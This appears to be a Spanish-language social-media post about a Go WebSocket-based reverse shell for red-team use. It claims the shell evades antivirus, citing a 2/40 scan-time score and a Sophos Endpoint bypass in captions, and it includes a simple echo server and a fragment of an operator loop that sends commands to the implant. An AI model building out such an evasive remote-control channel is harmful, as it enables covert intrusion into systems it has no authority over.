shell with websocket in golang

shell with websocket in golang

Hola red quiero compartir un pequeño post, sobre la implementacion de websocket en golang para obtener una shell evadiendo soluciones de defensa y generando un canal efeciente y seguro de comunicaciones, posiblemente util en ejercicios de red team, haciendo uso del protocolo HTTP actualmente el proyecto se encuentra en modo de desarrollo, pero con su esquema base funcional algunas caracteristicas hasta el momento;

  • servidor multiplataforma
  • implementacion de TLS
  • recoleccion de informacion
  • evasion de soluciones de defensa
  • comunicación eficiente y oculta

¿Qué son los WebSockets?

Los websockets son un protocolo de comunicación para las aplicaciones diseñadas con la arquitectura cliente-servidor, que nos permiten establecer una comunicación bidireccional (es decir, que los datos pueden fluir del cliente al servidor y viceversa) y dúplex (es decir, que la comunicación en ambas direcciones puede suceder de manera simultánea).

¿Cómo funcionan los WebSockets?

Para tener una conexión activa y bidireccional entre el servidor y el payload, es necesario contar con los siguientes elementos:

  • WebSocket del cliente, que en este caso es el payload . Es quien establece la conexión inicial con el servidor.
  • WebSocket del servidor, que acepta las conexiones e inicia el intercambio de mensajes.

La conexión entre ambos se mantiene activa mientras el payload este en ejecucion abierta, y el cliente(payload) como el servidor pueden cerrar la conexión en cualquier momento.

No hay texto alternativo para esta imagen
No hay texto alternativo para esta imagen

Resultado de analisis scantime con score 2/40

No hay texto alternativo para esta imagen

Bypass runtime Sophos EndPoint

No hay texto alternativo para esta imagen

Implementacion TLS


package main

import (
	"log"
	"net/http"

	"github.com/gorilla/websocket"
)

var upgrader = websocket.Upgrader{}

func reverse(w http.ResponseWriter, r *http.Request) {
	ws, _ := upgrader.Upgrade(w, r, nil)
	defer ws.Close()

	for {
		// Receive message
		mt, message, _ := ws.ReadMessage()
		log.Printf("Message received: %s", message)

		// Reverse message
		n := len(message)
		for i := 0; i < n/2; i++ {
			message[i], message[n-1-i] = message[n-1-i], message[i]
		}

		// Response message
		_ = ws.WriteMessage(mt, message)
		log.Printf("Message sent: %s", message)
	}
}

func main() {
	http.HandleFunc("/reverse", reverse)
	log.Fatal(http.ListenAndServe(":5555", nil))
}n        

implementación simplificada


//envio de comandos
func SendCommand(ws *websocket.Conn, done chan struct{}) {
   defer func() {
   }()
   
   reader := bufio.NewReader(os.Stdin)
   for {
      //ciclo for 
      fmt.Print("[3Xshell]> ")
      //command storage 
      command, _ := reader.ReadString('\n')
      command = command[:len(command)-newLineLength]

      if command == "exit" {
         break
      }
      if command == "cap"{
         //send screenshot
      }
      

      ws.SetWriteDeadline(time.Now().Add(writeWait))
      if err := ws.WriteMessage(websocket.TextMessage, []byte(command)); err != nil {
         ws.Close()
         log.Errorln(err)
         break
      }
   }
   close(done)         

pequeño fragmento de envio de comandos atravez de websocket

Inicia sesión para ver o añadir un comentario.

Otros usuarios han visto

Ver temas